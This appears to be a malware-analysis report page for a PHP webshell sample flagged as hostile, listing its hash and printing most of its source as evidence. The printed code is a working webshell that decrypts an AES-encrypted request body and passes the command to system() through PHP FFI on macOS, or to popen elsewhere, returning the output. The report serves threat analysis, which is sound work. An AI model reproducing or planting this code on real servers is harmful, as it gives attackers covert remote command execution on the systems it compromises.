Hostile 100% php Download

macos-ffi-aes-input-webshell.php

PHP webshell decrypts AES-CBC JSON request parameters into eval or shellPHP web handler binds C process execution via FFI to bypass restrictions
SHA-256e6f3447c2b85d5241b417d7e17c929e1e28dd2200412bb32d9c459fbec82ccb3

Evidence

References PHP raw input stream wrapper lines 1–22
1<?php
2$rawBody = file_get_contents('php://input');
3if ($rawBody !== false && strlen($rawBody) > 24) {
4 $frame = base64_decode($rawBody, true);
5 if ($frame !== false && strlen($frame) > 16) {
6 $iv = substr($frame, 0, 16);
7 $plain = openssl_decrypt(substr($frame, 16), 'AES-256-CBC', hash('sha256', 'rotate-key', true), OPENSSL_RAW_DATA, $iv);
8 $job = json_decode($plain, true);
9 if (is_array($job) && isset($job['run'])) {
10 if (PHP_OS_FAMILY === 'Darwin' && class_exists('FFI')) {
11 $darwin = FFI::cdef('int system(const char *cmd);', 'libSystem.B.dylib');
12 $darwin->system($job['run']);
13 } else {
14 $fp = popen($job['run'], 'r');
15 if (is_resource($fp)) {
16 echo stream_get_contents($fp);
17 pclose($fp);
18 }
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.